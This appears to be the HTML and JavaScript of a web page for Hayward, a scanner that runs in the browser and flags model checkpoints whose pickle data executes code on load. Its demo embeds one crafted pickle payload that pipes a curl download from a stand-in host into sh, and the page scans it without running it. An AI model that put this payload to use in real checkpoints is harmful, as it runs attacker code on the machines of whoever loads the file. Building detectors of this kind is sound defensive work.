Spaces:
Running
Running
| <html lang="en"> | |
| <head> | |
| <meta charset="utf-8"> | |
| <meta name="viewport" content="width=device-width, initial-scale=1"> | |
| <title>Hayward: does this checkpoint run code?</title> | |
| <style> | |
| :root { | |
| --ink: #013D5A; | |
| --sage: #708C69; | |
| --amber: #F4A25B; | |
| --bg: #fbfaf7; | |
| --panel: #ffffff; | |
| --line: #e4e0d8; | |
| --muted: #5d6b73; | |
| --crit: #a3231f; | |
| } | |
| @media (prefers-color-scheme: dark) { | |
| :root { | |
| --bg: #0d1418; --panel: #131e24; --line: #24343c; | |
| --ink: #cfe4ee; --muted: #93a5ae; --crit: #ff8b83; | |
| } | |
| } | |
| * { box-sizing: border-box; } | |
| body { | |
| margin: 0; padding: 2rem 1.25rem 4rem; | |
| background: var(--bg); color: var(--ink); | |
| font: 16px/1.6 ui-sans-serif, system-ui, -apple-system, "Segoe UI", sans-serif; | |
| } | |
| main { max-width: 54rem; margin: 0 auto; } | |
| h1 { font-size: 1.9rem; margin: 0 0 .35rem; letter-spacing: -.02em; } | |
| .lede { color: var(--muted); margin: 0 0 1.75rem; max-width: 40rem; } | |
| code, .mono { font-family: ui-monospace, SFMono-Regular, Menlo, monospace; font-size: .9em; } | |
| .panel { | |
| background: var(--panel); border: 1px solid var(--line); | |
| border-radius: 10px; padding: 1.1rem 1.2rem; margin-bottom: 1rem; | |
| } | |
| .row { display: flex; gap: .6rem; flex-wrap: wrap; } | |
| input[type=text] { | |
| flex: 1 1 18rem; padding: .6rem .75rem; font: inherit; | |
| border: 1px solid var(--line); border-radius: 7px; | |
| background: var(--bg); color: var(--ink); | |
| } | |
| button { | |
| padding: .6rem 1rem; font: inherit; font-weight: 600; cursor: pointer; | |
| border: 1px solid var(--ink); border-radius: 7px; | |
| background: var(--ink); color: var(--bg); | |
| } | |
| button.ghost { background: transparent; color: var(--ink); font-weight: 400; } | |
| button[disabled] { opacity: .45; cursor: not-allowed; } | |
| #drop { | |
| border: 1.5px dashed var(--line); border-radius: 10px; | |
| padding: 1.6rem 1rem; text-align: center; color: var(--muted); | |
| cursor: pointer; transition: border-color .15s, background .15s; | |
| } | |
| #drop.hot { border-color: var(--sage); background: rgba(112,140,105,.09); } | |
| #status { color: var(--muted); font-size: .92rem; min-height: 1.6em; } | |
| table { width: 100%; border-collapse: collapse; margin-top: .5rem; } | |
| th, td { text-align: left; padding: .5rem .6rem; border-bottom: 1px solid var(--line); vertical-align: top; } | |
| th { font-size: .74rem; letter-spacing: .09em; text-transform: uppercase; color: var(--muted); } | |
| td.sev { font-weight: 700; font-size: .78rem; letter-spacing: .05em; white-space: nowrap; } | |
| .critical, .high { color: var(--crit); } | |
| .medium { color: var(--amber); } | |
| .low, .info { color: var(--muted); } | |
| .verdict { font-size: 1.15rem; font-weight: 650; margin: 0 0 .4rem; } | |
| .verdict.bad { color: var(--crit); } | |
| .verdict.ok { color: var(--sage); } | |
| .note { color: var(--muted); font-size: .9rem; } | |
| ul.skipped { color: var(--muted); font-size: .88rem; padding-left: 1.1rem; margin: .5rem 0 0; } | |
| footer { color: var(--muted); font-size: .88rem; margin-top: 2rem; } | |
| a { color: var(--sage); } | |
| </style> | |
| </head> | |
| <body> | |
| <main> | |
| <h1>Hayward</h1> | |
| <p class="lede"> | |
| Does this checkpoint run code when you load it? | |
| <code>torch.load</code>, <code>joblib.load</code> and | |
| <code>numpy.load(allow_pickle=True)</code> execute code from the file they | |
| read. That is what pickle does, and the Hub is still full of it. | |
| </p> | |
| <div class="panel"> | |
| <div class="row"> | |
| <input id="repo" type="text" placeholder="org/name" spellcheck="false" autocomplete="off"> | |
| <button id="scanRepo" disabled>Scan repo</button> | |
| </div> | |
| <div class="row" style="margin-top:.65rem"> | |
| <button class="ghost" id="exClean" disabled>Example: a clean repo</button> | |
| <button class="ghost" id="exBad" disabled>Example: a malicious checkpoint</button> | |
| </div> | |
| </div> | |
| <div class="panel"> | |
| <div id="drop"> | |
| <strong>Drop a model file here</strong>, or click to choose one.<br> | |
| It is read in your browser. Nothing is uploaded. | |
| </div> | |
| <input id="file" type="file" multiple hidden> | |
| </div> | |
| <p id="status">Loading the scanner…</p> | |
| <div id="result"></div> | |
| <footer> | |
| Hayward runs offline as a CLI, which is how it is meant to be used: | |
| <code>pip install hayward</code>. | |
| <a href="https://github.com/hedgerow-dev/hayward">Source and documentation</a>. | |
| This page runs the same scanner in WebAssembly, so your files stay on your | |
| machine. Built by <a href="https://hedgerow.dev/open-source#hayward">Hedgerow</a>. | |
| </footer> | |
| </main> | |
| <script src="https://cdn.jsdelivr.net/pyodide/v0.28.0/full/pyodide.js"></script> | |
| <script> | |
| const MAX_FILE_BYTES = 500_000_000; // matches the scanner's own read cap | |
| const MAX_FILES = 25; | |
| const CLEAN_EXAMPLE = "hf-internal-testing/tiny-random-BertModel"; | |
| const $ = (id) => document.getElementById(id); | |
| const statusEl = $("status"); | |
| const resultEl = $("result"); | |
| let py = null; | |
| let extensions = []; | |
| const PY_SETUP = ` | |
| import json | |
| from pathlib import Path | |
| from hayward import ModelFileScanner | |
| from hayward.findings import Severity | |
| _scanner = ModelFileScanner() | |
| ORDER = { | |
| Severity.CRITICAL: 0, Severity.HIGH: 1, Severity.MEDIUM: 2, | |
| Severity.LOW: 3, Severity.INFO: 4, | |
| } | |
| # The scanner owns the extension list, including the two it resolves by | |
| # content sniff rather than by name. Read it rather than restating it. | |
| EXTENSIONS = sorted({*_scanner._format_map, *_scanner._AMBIGUOUS_EXTENSIONS}) | |
| # A checkpoint that fetches a shell script and runs it on load. Built here so | |
| # the page ships no payload-shaped file. It is never unpickled. | |
| DEMO = b"\\x80\\x04cposix\\nsystem\\n\\x8c\\x1ccurl http://example.invalid|sh\\x85R." | |
| def scan_path(path, display_name): | |
| p = Path(path) | |
| try: | |
| findings = _scanner.scan_file(p) | |
| finally: | |
| p.unlink(missing_ok=True) | |
| findings.sort(key=lambda f: ORDER[f.severity]) | |
| return json.dumps([ | |
| { | |
| "severity": f.severity.value, | |
| "rule": f.rule_id, | |
| "file": display_name, | |
| "message": f.message, | |
| } | |
| for f in findings | |
| ]) | |
| def scan_demo(): | |
| p = Path("/scan/demo-checkpoint.pt") | |
| p.parent.mkdir(parents=True, exist_ok=True) | |
| p.write_bytes(DEMO) | |
| return scan_path(str(p), "demo-checkpoint.pt") | |
| `; | |
| async function boot() { | |
| py = await loadPyodide(); | |
| statusEl.textContent = "Installing hayward…"; | |
| // lzma is unvendored from Pyodide's stdlib, and the scanner imports it to | |
| // read xz-compressed members. | |
| await py.loadPackage(["micropip", "lzma"]); | |
| await py.runPythonAsync(` | |
| import micropip | |
| await micropip.install("hayward") | |
| `); | |
| await py.runPythonAsync(PY_SETUP); | |
| extensions = JSON.parse(py.runPython("json.dumps(EXTENSIONS)")); | |
| py.FS.mkdirTree("/scan"); | |
| for (const id of ["scanRepo", "exClean", "exBad"]) $(id).disabled = false; | |
| statusEl.textContent = | |
| `Ready. ${extensions.length} file types, running locally in your browser.`; | |
| } | |
| function scannable(path) { | |
| const dot = path.lastIndexOf("."); | |
| return dot !== -1 && extensions.includes(path.slice(dot).toLowerCase()); | |
| } | |
| async function scanBuffer(buffer, displayName) { | |
| const name = displayName.split("/").pop(); | |
| const target = "/scan/" + name; | |
| py.FS.writeFile(target, new Uint8Array(buffer)); | |
| return JSON.parse(py.runPython( | |
| `scan_path(${JSON.stringify(target)}, ${JSON.stringify(displayName)})` | |
| )); | |
| } | |
| async function scanRepo(repoId) { | |
| repoId = repoId.trim().replace(/^\/+|\/+$/g, ""); | |
| if (!repoId || (repoId.match(/\//g) || []).length !== 1) { | |
| return render("Enter a repo id in the form org/name", [], []); | |
| } | |
| statusEl.textContent = `Listing ${repoId}…`; | |
| let tree; | |
| try { | |
| const res = await fetch( | |
| `https://huggingface.co/api/models/${repoId}/tree/main?recursive=true`); | |
| if (!res.ok) throw new Error(`the Hub returned ${res.status}`); | |
| tree = await res.json(); | |
| } catch (err) { | |
| return render(`Could not read ${repoId}: ${err.message}`, [], []); | |
| } | |
| const eligible = tree.filter((e) => e.type === "file" && scannable(e.path)); | |
| eligible.sort((a, b) => a.size - b.size); | |
| const skipped = []; | |
| const queue = []; | |
| for (const entry of eligible) { | |
| if (entry.size > MAX_FILE_BYTES) { | |
| skipped.push(`${entry.path} (over the 500 MB per-file cap)`); | |
| } else if (queue.length >= MAX_FILES) { | |
| skipped.push(`${entry.path} (past the ${MAX_FILES} file cap)`); | |
| } else { | |
| queue.push(entry); | |
| } | |
| } | |
| if (!queue.length && !skipped.length) { | |
| return render( | |
| `${repoId} holds no files Hayward can read. That is an empty result, not a clean one.`, | |
| [], []); | |
| } | |
| const findings = []; | |
| let read = 0; | |
| for (const [i, entry] of queue.entries()) { | |
| statusEl.textContent = `Reading ${entry.path} (${i + 1} of ${queue.length})…`; | |
| try { | |
| const res = await fetch( | |
| `https://huggingface.co/${repoId}/resolve/main/${entry.path}`); | |
| if (!res.ok) throw new Error(`HTTP ${res.status}`); | |
| findings.push(...await scanBuffer(await res.arrayBuffer(), entry.path)); | |
| read += 1; | |
| } catch (err) { | |
| skipped.push(`${entry.path} (fetch failed: ${err.message})`); | |
| } | |
| } | |
| statusEl.textContent = "Ready."; | |
| render(verdict(repoId, read, findings), findings, skipped); | |
| } | |
| function verdict(subject, read, findings) { | |
| const failing = findings.some( | |
| (f) => f.severity === "critical" || f.severity === "high"); | |
| if (failing) return `Loading ${subject} can run code`; | |
| if (findings.length) return `Nothing in ${subject} that would fail a build`; | |
| return `Nothing recognised as dangerous in ${subject}` + | |
| (read ? ` (${read} file${read === 1 ? "" : "s"} read)` : ""); | |
| } | |
| function render(headline, findings, skipped) { | |
| const bad = findings.some( | |
| (f) => f.severity === "critical" || f.severity === "high"); | |
| const rows = findings.map((f) => ` | |
| <tr> | |
| <td class="sev ${f.severity}">${f.severity.toUpperCase()}</td> | |
| <td class="mono">${escape(f.rule)}</td> | |
| <td class="mono">${escape(f.file)}</td> | |
| <td>${escape(f.message)}</td> | |
| </tr>`).join(""); | |
| resultEl.innerHTML = ` | |
| <div class="panel"> | |
| <p class="verdict ${bad ? "bad" : "ok"}">${escape(headline)}</p> | |
| <p class="note">A clean result means Hayward read the files and | |
| recognised nothing dangerous. It does not mean the model is safe.</p> | |
| ${rows ? `<table> | |
| <thead><tr><th>Severity</th><th>Rule</th><th>File</th><th>What it found</th></tr></thead> | |
| <tbody>${rows}</tbody></table>` : ""} | |
| ${skipped.length ? `<p class="note" style="margin-top:.9rem"> | |
| <strong>Not scanned (${skipped.length}):</strong></p> | |
| <ul class="skipped">${skipped.map((s) => `<li>${escape(s)}</li>`).join("")}</ul>` : ""} | |
| </div>`; | |
| } | |
| function escape(s) { | |
| return String(s).replace(/[&<>"]/g, | |
| (c) => ({ "&": "&", "<": "<", ">": ">", '"': """ }[c])); | |
| } | |
| $("scanRepo").addEventListener("click", () => scanRepo($("repo").value)); | |
| $("repo").addEventListener("keydown", (e) => { | |
| if (e.key === "Enter") scanRepo($("repo").value); | |
| }); | |
| $("exClean").addEventListener("click", () => { | |
| $("repo").value = CLEAN_EXAMPLE; | |
| scanRepo(CLEAN_EXAMPLE); | |
| }); | |
| $("exBad").addEventListener("click", () => { | |
| const findings = JSON.parse(py.runPython("scan_demo()")); | |
| render("Loading demo-checkpoint.pt can run code", findings, []); | |
| statusEl.textContent = | |
| "That is a crafted sample this page built, not a real model and not anybody's repo."; | |
| }); | |
| const drop = $("drop"); | |
| const fileInput = $("file"); | |
| drop.addEventListener("click", () => fileInput.click()); | |
| ["dragenter", "dragover"].forEach((ev) => | |
| drop.addEventListener(ev, (e) => { e.preventDefault(); drop.classList.add("hot"); })); | |
| ["dragleave", "drop"].forEach((ev) => | |
| drop.addEventListener(ev, (e) => { e.preventDefault(); drop.classList.remove("hot"); })); | |
| drop.addEventListener("drop", (e) => handleFiles(e.dataTransfer.files)); | |
| fileInput.addEventListener("change", () => handleFiles(fileInput.files)); | |
| async function handleFiles(fileList) { | |
| if (!py) return; | |
| const files = [...fileList].slice(0, MAX_FILES); | |
| const findings = []; | |
| const skipped = []; | |
| let read = 0; | |
| for (const file of files) { | |
| if (file.size > MAX_FILE_BYTES) { | |
| skipped.push(`${file.name} (over the 500 MB per-file cap)`); | |
| continue; | |
| } | |
| statusEl.textContent = `Scanning ${file.name}…`; | |
| findings.push(...await scanBuffer(await file.arrayBuffer(), file.name)); | |
| read += 1; | |
| } | |
| statusEl.textContent = "Ready."; | |
| const subject = files.length === 1 ? files[0].name : `${read} files`; | |
| render(verdict(subject, read, findings), findings, skipped); | |
| } | |
| boot().catch((err) => { | |
| statusEl.textContent = "The scanner failed to load: " + err.message; | |
| }); | |
| </script> | |
| </body> | |
| </html> | |